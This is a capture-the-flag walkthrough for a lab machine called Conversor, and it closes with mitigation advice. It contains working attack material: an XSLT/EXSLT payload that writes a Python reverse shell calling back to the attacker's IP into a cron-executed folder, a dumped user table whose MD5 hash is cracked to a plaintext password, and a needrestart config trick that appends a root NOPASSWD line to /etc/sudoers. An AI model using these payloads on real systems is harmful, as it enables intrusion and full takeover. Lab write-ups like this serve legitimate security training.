Overview#
Conversor is a good beginner machine which shows, that not always the most obvious path is the path forward.
User#
Portscan shows 22 and 80 open:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)After registration of an account on the website we are presented with a “conversion” software: 
Retrieve sourcecode under the About section:

In install.md we see this important line:
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; doneBased on this information we can assume, that this cronjob is running on target and will also run an arbitrary script, if we’re able to drop one onto said path. The description is even wrong because all asterisk * in beginning means the scripts are running every minute.
Method convert is vulnerable to path traversal, which is detected with snyk vscode addon, but that is a rabbit hole which doesn’t lead to anything:
def convert():
if 'user_id' not in session:
return redirect(url_for('login'))
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path) #<------------ vulnerable
xslt_file.save(xslt_path) #<------------ vulnerable
try:
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False) #<------------ no proper xslt sanitization
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
result_html = str(result_tree)
file_id = str(uuid.uuid4())
filename = f"{file_id}.html"
html_path = os.path.join(UPLOAD_FOLDER, filename)
with open(html_path, "w") as f:
f.write(result_html)
conn = get_db()
conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
conn.commit()
conn.close()
return redirect(url_for('index'))
except Exception as e:
return f"Error: {e}"path forward instead is, that xslt is not properly sanitized
Download Template from website-> nmap.xlst and create own scan to retrieve a file scan.xml:
sudo nmap -p 80 10.129.96.50 -oA scan Upload scan.xml and nmap.xlst and capture request with Burpsuite:
Exploitation:
Arbitrary File write with EXSLT –> https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT%20Injection/#write-files-with-exslt-extension embedded with a python reverseshell, dropped to /var/www/conversor.htb/ leads to code execution because previous discovered cronjob:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/scripts/rce.py" method="text">
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.39",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")
</exploit:document>
</xsl:template>
</xsl:stylesheet>After a minute of waiting we get our reverse shell:
└─$ ncat -lvnp 9001
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.58.130:42962.
www-data@conversor:~$As discovered in the source code there must be a sqlite3 db, which may contain crackable hashes. Conveniently sqlite3 binary is installed, so we even don’t need to transfer the db:
www-data@conversor:~/conversor.htb/instance$ sqlite3 users.db .dumpPRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
);
INSERT INTO users VALUES(1,'fismathack','5b5c3ac3a1c897c94caad48e6c71fdec');
INSERT INTO users VALUES(5,'user','ee11cbb19052e40b07aac0ca060c23ee');
CREATE TABLE files (
id TEXT PRIMARY KEY,
user_id INTEGER,
filename TEXT,
FOREIGN KEY(user_id) REFERENCES users(id)
);
INSERT INTO files VALUES('8374be69-0931-4445-8f58-5589d27ec7d7',2,'8374be69-0931-4445-8f58-5589d27ec7d7.html');
INSERT INTO files VALUES('a10bcb29-b9c0-4b3d-99aa-c4f0e8afd4e2',2,'a10bcb29-b9c0-4b3d-99aa-c4f0e8afd4e2.html');
INSERT INTO files VALUES('89af2dd2-48b2-41b5-a2ba-e2c7a20b2a8b',2,'89af2dd2-48b2-41b5-a2ba-e2c7a20b2a8b.html');
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('users',5);
COMMIT;Cracking userhash (md5) with hashcat:
hashcat -m 0 'fismathack:5b5c3ac3a1c897c94caad48e6c71fdec' --user rockyou.txt
5b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm
Session..........: hashcat
Status...........: CrackedPassword reuse lets us in via SSH and we get the user flag:
ssh fismathack@conversor.htbRoot#
sudo -l reveals that we can execute needstart as root:
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestartLooking at it, reveals it is a perl script:
#!/usr/bin/perl
# nagios: -epn
# needrestart - Restart daemons after library updates.
#
# Authors:
# Thomas Liske <thomas@fiasko-nw.net>Running it with --version we retrieve its version 3.7 and its github repo https://github.com/liske/needrestart/
sudo needrestart --version
needrestart 3.7 - Restart daemons after library updates.
Authors:
Thomas Liske <thomas@fiasko-nw.net>
Copyright Holder:
2013 - 2022 (C) Thomas Liske [http://fiasko-nw.net/~thomas/]
Upstream:
https://github.com/liske/needrestartEven tough there are four CVE on this version, the easiest way is a lookup on GTFObins –> https://gtfobins.org/gtfobins/needrestart/
Looking at parameter -c, it’s loading a config file:
sudo needrestart --help
needrestart [-vn] [-c <cfg>] [-r <mode>] [-f <fe>] [-u <ui>] [-(b|p|o)] [-klw]
-c <cfg> config filenameLooking at how a config file is handled in sourcecode (line 218) shows it uses eval. So we should just be able to privilege escalate with giving in an arbitrary perl script:
# slurp config file
print STDERR "$LOGPREF eval $opt_c\n" if($nrconf{verbosity} > 1);
eval do {
local $/;
open my $fh, $opt_c or die "ERROR: $!\n";
my $cfg = <$fh>;
close($fh);
$cfg;
};
die "Error parsing $opt_c: $@" if($@);The default config file under /etc/needrestart/needrestart.conf also shows its just perl code.
Exploitation:
nano pwn
system("echo 'fismathack ALL=(root) NOPASSWD: ALL' >> /etc/sudoers");sudo needrestart -c pwn
sudo su
root@conversor:~# whoami
rootLearning Points#
- Even when clear paths like with
Path Traverselonsnykshow up, a way forward can be different. - Read
READMEfiles of repos carefully, they may contain further important information
Mitigation Points#
- Implement proper user
input sanitization - Don’t use
cronjobsfor general execution of any scripts in a folder - Apply the least privilege possible -> there is no need of having
needrestartinsudoersfile - Update your binaries (
needrestart) - Utilize
dockerfor sandboxing web endpoints

